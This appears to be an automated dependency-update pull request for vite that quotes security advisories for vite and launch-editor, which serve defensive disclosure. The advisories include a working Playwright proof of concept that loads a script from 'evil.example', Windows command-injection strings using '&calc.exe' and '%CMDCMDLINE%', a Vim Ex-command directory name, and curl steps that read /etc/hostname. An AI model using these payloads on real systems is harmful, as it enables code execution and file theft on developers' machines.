This PR contains the following updates:
| Package | Type | Update | Change |
| --- | --- | --- | --- |
| vite (source) | devDependencies | patch | ^6.0.0 → ^6.4.4 |
| vite (source) | devDependencies | patch | ^6.0.0 → ^6.4.4 |
---
⚠️ Warning
Some dependencies could not be looked up. Check the warning logs for more information.
---
launch-editor: fs.existsSync() existence check can be bypassed on Windows
CVE-2026-112942 / GHSA-587h-7wmj-h5pm
Details
##### Summary
launch-editor checked fs.existsSync(fileName) before passing a supplied path to an editor command. On Windows, an attacker can bypass this check with a crafted path ending in \\..:line:column . This removes the requirement that the attacker be able to place a file with a malicious filename.
Combined with the % escaping issue described in GHSA-698v-4r3x-3vcv, this bypass can lead to OS command injection when an attacker controls the file argument.
##### Impact
Only apps that runs on Windows is affected.
##### Details
The earlier advisory assumed that fs.existsSync() required an attacker-controlled filename to exist. This advisory covers a bypass of that requirement.
A crafted value ending in \\..:1:1 is interpreted differently by launch-editor-middleware , launch-editor , and Windows:
- launch-editor-middleware calls path.resolve() while the final path component is ..:1:1 , so it is not treated as a parent-directory component.
- launch-editor treats :1:1 as a line-and-column suffix and removes it, leaving a path ending in \\.. .
- On Windows, fs.existsSync() accepts the resulting path as the existing parent directory even though the attacker-controlled preceding component does not exist.
- Because the existence check passes, the crafted filename reaches the Windows shell command.
Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
References
- https://github.com/vitejs/launch-editor/security/advisories/GHSA-587h-7wmj-h5pm
- https://nvd.nist.gov/vuln/detail/CVE-2026-112942
- https://github.com/vitejs/launch-editor/commit/f13cd835d4b8e860b1d4d080ad8a490cc2463679
- https://github.com/vitejs/launch-editor
- https://github.com/vitejs/launch-editor/releases/tag/v2.14.2
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
---
launch-editor: escapeCmdArgs() omits % escaping on Windows
CVE-2026-112943 / GHSA-698v-4r3x-3vcv
Details
##### Summary
launch-editor did not escape % on Windows when passing an argument to cmd . When an environment variable contained a malicious value, it was possible that that content to be executed.
##### Impact
Only apps that match all of the following conditions are affected:
- The user uses Windows
- An attacker can place a file with the malicious filename containing & or %
- Either of
- An attacker can inject an environment variable with a malicious value
- An attacker can add a NTFS alternate data stream to the file placed
##### Details
Unlike .sh files, .bat / .cmd files on Windows cannot be called directly using child''process.spawn and requires passing them as an argument of cmd.exe . To do so, launch-editor escapes the arguments passed to cmd.exe . But launch-editor did not escape % which is used for environment variables.
Because launch-editor checks if the argument matches an existing filename, the attack requires the attacker to be able to place a file.
- If the attacker can inject an environment variable as well, they can include the subcommand in the env variable (e.g. set &calc.exe to %ENV% ) and call launchEditor with something%ENV% .
- If the attacker can place a NTFS alternate data stream to the file (e.g. a NTFS alternate data stream named ~-38%calc.exe ), they can call launchEditor with something %CMDCMDLINE:~-38%calc.exe .
- If the attacker can create a filename containing the %CD% and the subcommand (e.g. &calc.exe ), they can call launchEditor with ./%CD%
Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
References
- https://github.com/vitejs/launch-editor/security/advisories/GHSA-698v-4r3x-3vcv
- https://nvd.nist.gov/vuln/detail/CVE-2026-112943
- https://github.com/vitejs/launch-editor/pull/155
- https://github.com/vitejs/launch-editor/commit/3c2f9bf2ff8fe63d056a8f9cc52d825b66ca79fc
- https://github.com/vitejs/launch-editor
- https://github.com/vitejs/launch-editor/releases/tag/v2.14.2
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
---
Vite: Cross origin script execution through Vite custom middleware
CVE-2026-112945 / GHSA-9jrq-w75r-8gcw
Details
##### Summary
When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.
##### Impact
Only apps that match the following conditions are affected:
- the dev server passes an unchanged browser request URL to server.transformIndexHtml : this is normally used for server.middlewareMode: true or appType: 'custom' . The internal call for appType: 'spa' and appType: 'mpa' does not match this.
- the transformed HTML contains an inline module script
- from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions
##### Details
Vite's SSR guide for 8.2.1 documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:
{{{js const url = req.originalUrl template = await vite.transformIndexHtml(url, template)
For a development server at http://localhost:5173 , an attacker can send this URL:
{{{text
http://localhost:5173//evil.example/payload.js?/../../package.json
{{{
In Vite 8.2.1, [https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L99-L115 createDevHtmlTransformFn and getHtmlFilename in indexHtml.ts ] use the request URL as both the transform path and the input to path.join . The value passed to path.join still includes its query text.
Chromium preserves /../../package.json because it follows ? and is therefore query text. Vite treats the same characters as filesystem path components, so the .. components resolve the derived filename to the existing project package.json .
[https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L216-L232 The existing file branch in indexHtml.ts ] checks that filename with fs.existsSync , then preserves the htmlPath supplied by the attacker as proxyModuleUrl . [https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L271-L278 The inline module rewrite in the same file] writes that value into the generated src :
{{{html
<script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script>
{{{
The generated value is a valid URL. Its leading // tells the browser to request the module from evil.example using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.
##### PoC
{{{js
import { createServer as createHttpServer } from 'node:http'
import { createRequire } from 'node:module'
import { dirname, join } from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'
const directory = dirname(fileURLToPath(import.meta.url))
const require = createRequire(join(directory, 'package.json'))
const { chromium } = require('playwright-chromium')
const viteModule = await import(
pathToFileURL(require.resolve('vite')).href
)
const createViteServer =
viteModule.createServer ?? viteModule.default.createServer
// This loopback server stands in for a separately hosted attacker website.
const attackerPort = 4173
const exploitPath = //127.0.0.1:${attackerPort}/payload.js?/../../package.json
const html = '<script type="module">document.body.textContent = "Vite app"</script>'
const listen = (server, port = 0) =>
new Promise((resolve, reject) => {
server.once('error', reject)
server.listen(port, '127.0.0.1', () => {
server.off('error', reject)
resolve(server.address().port)
})
})
const close = (server) =>
new Promise((resolve, reject) => {
server.close((error) => (error ? reject(error) : resolve()))
})
let attackerRequest = null
const attacker = createHttpServer((request, response) => {
attackerRequest = request.url
response.writeHead(200, {
'access-control-allow-origin': '*',
'content-type': 'text/javascript',
})
response.end(
"document.documentElement.dataset.viteXssPoc = 'executed'",
)
})
const vite = await createViteServer({
appType: 'custom',
configFile: false,
root: directory,
server: {
hmr: false,
middlewareMode: true,
watch: null,
},
})
const application = createHttpServer((request, response) => {
vite.middlewares(request, response, async (error) => {
if (error) {
response.destroy(error)
return
}
try {
const transformed = await vite.transformIndexHtml(request.url, html)
response.writeHead(200, { 'content-type': 'text/html' })
response.end(transformed)
} catch (transformError) {
response.destroy(transformError)
}
})
})
await listen(attacker, attackerPort)
const applicationPort = await listen(application)
const browser = await chromium.launch({ headless: true })
try {
const page = await browser.newPage()
await page.goto( http://127.0.0.1:${applicationPort}${exploitPath} )
await page.waitForFunction(
() => document.documentElement.dataset.viteXssPoc === 'executed',
)
console.log( attacker request: ${attackerRequest} )
console.log('JavaScript from the attacker server executed in the Vite page')
} finally {
await browser.close()
await close(application)
await vite.close()
await close(attacker)
}
{{{
Observed output on Vite 8.2.1:
{{{text
attacker request: /payload.js?/../../package.json?html-proxy&index=0.js
JavaScript from the attacker server executed in the Vite page
{{{
=== Severity ===
- CVSS Score: 2.1 / 10 (Low)
- Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
=== References ===
- [https://github.com/vitejs/vite/security/advisories/GHSA-9jrq-w75r-8gcw https://github.com/vitejs/vite/security/advisories/GHSA-9jrq-w75r-8gcw]
- [https://nvd.nist.gov/vuln/detail/CVE-2026-112945 https://nvd.nist.gov/vuln/detail/CVE-2026-112945]
- [https://github.com/vitejs/vite/pull/23653 https://github.com/vitejs/vite/pull/23653]
- [https://github.com/vitejs/vite/commit/7dafd8e56f152403a3230608fa4005273c2e9e17 https://github.com/vitejs/vite/commit/7dafd8e56f152403a3230608fa4005273c2e9e17]
- [https://github.com/vitejs/vite https://github.com/vitejs/vite]
This data is provided by [https://osv.dev/vulnerability/GHSA-9jrq-w75r-8gcw OSV] and the [https://github.com/github/advisory-database GitHub Advisory Database] ([https://github.com/github/advisory-database/blob/main/LICENSE.md CC-BY 4.0]).
---
== launch-editor: Editor CLI flag misinterpretation causing arbitrary command execution for some editors ==
[https://nvd.nist.gov/vuln/detail/CVE-2026-112944 CVE-2026-112944] / [https://github.com/advisories/GHSA-r825-w8mm-5pxw GHSA-r825-w8mm-5pxw]
=== Details ===
##### Summary
launch-editor forwarded file paths directly to editors without sanitization. If a path resembles a CLI flag, editors like Vim may interpret it as a command, potentially causing unintended file overwrites or command execution.
##### Impact
##### Direct launch-editor users
Only apps that match all of the following conditions are affected:
- The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
- The user uses or the app specifies any of the following editors:
- Vim (including gVim)
- MacVim
- Emacs (including Emacsclient)
- Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
- The first argument of launchEditor can start with + or - or the user is using WSL
##### launch-editor-middleware users
Only apps that match the following conditions are affected:
- The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
- The user uses or the app specifies any of the following editors:
- Vim (including gVim)
- MacVim
- Emacs (including Emacsclient)
- Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
- launch-editor older than v2.2.0 is used, or the user is using WSL
##### Vite users
Only apps that match the following conditions are affected:
- The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
- The user uses or the app specifies any of the following editors:
- Vim (including gVim)
- MacVim
- Emacs (including Emacsclient)
- Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
- The user is using WSL
##### Details
launchEditor(file) function passes the file name as-is to the editor if the file with that file name exists. If the file name starts with - (also + for Vim), the editor treats them as flags rather than positional arguments. For example, Vim treats arguments starting with + as an Ex command. As a result, an existing relative directory such as:
{{{
+call writefile(["SAFE''MARKER"],"LAUNCH''EDITOR_MARKER")|qa!
{{{
is not treated as a filename when passed to Vim. Vim executes the embedded Ex command.
The following editor has a potentially destructive operation exposed to the CLI arguments:
- Vim (including gVim)
- MacVim
- Emacs (including Emacsclient)
- Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
launch-editor-middleware v2.2.0+ converts the passed file path to an absolute path so those are not affected as long as the user is not using WSL. For WSL, launch-editor converts the paths to relative paths internally, so those are still affected.
Vite 2.0.0+ uses launch-editor-middleware v2.2.0+ so the WSL users are only affected.
=== Severity ===
- CVSS Score: 6.3 / 10 (Medium)
- Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
=== References ===
- [https://github.com/vitejs/launch-editor/security/advisories/GHSA-r825-w8mm-5pxw https://github.com/vitejs/launch-editor/security/advisories/GHSA-r825-w8mm-5pxw]
- [https://nvd.nist.gov/vuln/detail/CVE-2026-112944 https://nvd.nist.gov/vuln/detail/CVE-2026-112944]
- [https://github.com/vitejs/launch-editor/pull/156 https://github.com/vitejs/launch-editor/pull/156]
- [https://github.com/vitejs/launch-editor/commit/f6e6701bb1f16f2dd242b321374f1b6cca6eb6d4 https://github.com/vitejs/launch-editor/commit/f6e6701bb1f16f2dd242b321374f1b6cca6eb6d4]
- [https://github.com/vitejs/launch-editor https://github.com/vitejs/launch-editor]
- [https://github.com/vitejs/launch-editor/releases/tag/v2.14.2 https://github.com/vitejs/launch-editor/releases/tag/v2.14.2]
This data is provided by [https://osv.dev/vulnerability/GHSA-r825-w8mm-5pxw OSV] and the [https://github.com/github/advisory-database GitHub Advisory Database] ([https://github.com/github/advisory-database/blob/main/LICENSE.md CC-BY 4.0]).
---
== Vite: Files outside server.fs.allow could be served when project paths match system paths on non-Windows machine ==
[https://nvd.nist.gov/vuln/detail/CVE-2026-112946 CVE-2026-112946] / [https://github.com/advisories/GHSA-rq7h-c2jc-7f22 GHSA-rq7h-c2jc-7f22]
=== Details ===
##### Summary
The content of files outside server.fs setting can be returned to the browser if the project imports a file path concatenated with the root . For example, if the project references <path-to-project-root>/etc/hosts , the content of /etc/hosts was possible to be returned.
The content of files outside the server.fs.allow option can be returned to the browser when a project imports a file whose root-relative path matches an absolute path on the host. For example, referencing <project-root>/etc/hosts could make Vite return the host's /etc/hosts file.
##### Impact
Only apps that meet all of the following conditions are affected:
- explicitly expose the Vite dev server to the network (using --host or the [https://vite.dev/config/server-options#server-host server.host option])
- contain an imported file whose root-relative browser URL is also the absolute path of a readable file on the host
- The sensitive file is not matched by [https://vite.dev/config/server-options#server-fs-deny server.fs.deny ]
- the dev server is not running on Windows
##### Details
When Vite analyzes an in-root import, it rewrites the resolved module ID to a browser URL such as /etc/hostname . In affected versions, Vite converts that URL with fsPathFromUrl and adds the result to safeModulePaths . Because fsPathFromUrl ensures a leading slash without resolving the URL against the project root, the project URL /etc/hostname is recorded as if it were the absolute filesystem path /etc/hostname .
For a later request to /@fs/etc/hostname , the raw-filesystem middleware interprets /etc/hostname as an absolute path. The access check applies server.fs.deny , then accepts paths present in safeModulePaths before checking server.fs.allow . As a result, the request can return the host file instead of the project file that originally populated safeModulePaths .
##### PoC
The following example requires Linux with a readable /etc/hostname :
{{{bash
$ mkdir vite-safe-module-path-poc
$ cd vite-safe-module-path-poc
$ npm init -y
$ npm install vite@8.3.1
$ mkdir -p etc
$ echo 'PROJECT-DECOY\n' > etc/hostname
$ echo 'import "./etc/hostname"\n' > main.js
$ npx vite --host 127.0.0.1
{{{
In another terminal:
{{{bash
$ curl -o /dev/null -s -w '%{http_code}\n' http://127.0.0.1:5173/main.js
200
$ curl -sS -o response -w '%{http_code}\n' http://127.0.0.1:5173/@fs/etc/hostname
200
$ cmp -s response /etc/hostname && echo 'response matches host file'
response matches host file
{{{
=== Severity ===
- CVSS Score: 6.3 / 10 (Medium)
- Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
=== References ===
- [https://github.com/vitejs/vite/security/advisories/GHSA-rq7h-c2jc-7f22 https://github.com/vitejs/vite/security/advisories/GHSA-rq7h-c2jc-7f22]
- [https://nvd.nist.gov/vuln/detail/CVE-2026-112946 https://nvd.nist.gov/vuln/detail/CVE-2026-112946]
- [https://github.com/vitejs/vite/pull/23656 https://github.com/vitejs/vite/pull/23656]
- [https://github.com/vitejs/vite/commit/170b92791421bcd484f7325936d989a82d6bd4aa https://github.com/vitejs/vite/commit/170b92791421bcd484f7325936d989a82d6bd4aa]
- [https://github.com/vitejs/vite/commit/45c0e3392a298626955a0ab93a8e51232daac721 https://github.com/vitejs/vite/commit/45c0e3392a298626955a0ab93a8e51232daac721]
- [https://github.com/vitejs/vite/commit/c3e06f92e969952466b4e2f5801e85e1e00cd905 https://github.com/vitejs/vite/commit/c3e06f92e969952466b4e2f5801e85e1e00cd905]
- [https://github.com/vitejs/vite/commit/e570d8d016096b5f8f6f09808376ca6cf73f27d0 https://github.com/vitejs/vite/commit/e570d8d016096b5f8f6f09808376ca6cf73f27d0]
- [https://github.com/vitejs/vite/commit/f0d76c7da13d5e794807b82f0b86c1931a8438e3 https://github.com/vitejs/vite/commit/f0d76c7da13d5e794807b82f0b86c1931a8438e3]
- [https://github.com/vitejs/vite https://github.com/vitejs/vite]
This data is provided by [https://osv.dev/vulnerability/GHSA-rq7h-c2jc-7f22 OSV] and the [https://github.com/github/advisory-database GitHub Advisory Database] ([https://github.com/github/advisory-database/blob/main/LICENSE.md CC-BY 4.0]).
---
== Release Notes ==
== [https://github.com/vitejs/vite/releases/tag/v6.4.4 v6.4.4 ] ==
[https://github.com/vitejs/vite/compare/v6.4.3...v6.4.4 Compare Source]
Please refer to [https://github.com/vitejs/vite/blob/v6.4.4/packages/vite/CHANGELOG.md CHANGELOG.md] for details.
---